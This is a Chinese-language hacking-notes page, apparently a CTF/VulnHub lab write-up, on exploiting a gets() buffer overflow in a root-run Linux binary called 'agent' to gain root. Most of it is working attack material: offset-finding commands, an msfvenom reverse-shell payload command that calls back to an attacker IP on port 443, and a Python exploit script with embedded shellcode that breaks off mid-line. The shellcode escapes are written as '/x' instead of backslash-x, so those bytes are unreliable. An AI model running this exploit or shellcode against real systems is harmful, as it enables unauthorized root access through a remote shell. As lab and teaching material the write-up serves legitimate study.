> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).
# Linux 缓冲区溢出 - Agent 二进制
Linux Agent 二进制缓冲区溢出笔记，用于崩溃分析、偏移发现、载荷构建和在 CTF 风格实验中验证漏洞利用。
{% hint style="info" %}
以下缓冲区溢出源自对一台 VulnHub 机器的权限提升。存在漏洞的 bin 是一个在 Linux 系统上名为“agent”的可执行文件。以下是利用该缓冲区溢出的完整步骤：
{% endhint %}
## 缓冲区溢出利用：
**“agent”二进制文件识别：**
* 使用 `查找` 用于在机器上定位名为“agent”的 bin 的命令。
* 找到这个 32 位二进制文件，并有一个文本文件表明它由 root 在 7788 端口上执行。
**使用 Netcat 传输二进制文件：**
使用 Netcat 将机器的二进制文件传输到攻击者设备。
**使用** [ghidra ](https://ghidra-sre.org/)**:**
* 使用 Ghidra 软件分析二进制源代码。
* 识别包含十六进制代码 ID 的变量“validcode”。
**缓冲区溢出分析：**
使用“report()”函数，通过“gets”函数检测到一个缓冲区溢出漏洞。
**使用 GDB 进行缓冲区溢出利用：**
* 创建了一个 200 个字符的字符串“A”来测试溢出。
```python
python -c 'print("A"*200)'
```
注意使用命令“pattern create 200”替换了 EIP（指令指针）。
* 使用命令“pattern offset $eip”识别偏移量。
* 通过插入 168 个 A + 4 个 B 字符的 EIP 字符串进行验证：
```python
python -c 'print("A"*168 + "B"*4)'
```
* 使用“checksec”命令验证保护机制。
**ASLR 验证：**
使用命令“objdump -d agent | grep -i 'FF D0'”搜索该二进制文件的静态地址。
```bash
objdump -d agent | grep -i "FF D0"
```
**为反向 Shell 创建 Shellcode：**
使用 Metasploit 生成反向 Shell 的 shellcode。
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```
**用于操作的 Python 脚本：**/ 编写一个 Python 脚本以连接到易受攻击的服务并利用缓冲区溢出。
```python
#!/usr/bin/python3
from struct import pack
import socket
shellcode = (b"/xbf/x11/x58/xbb/xb7/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")
offset = 168
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("
---
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```
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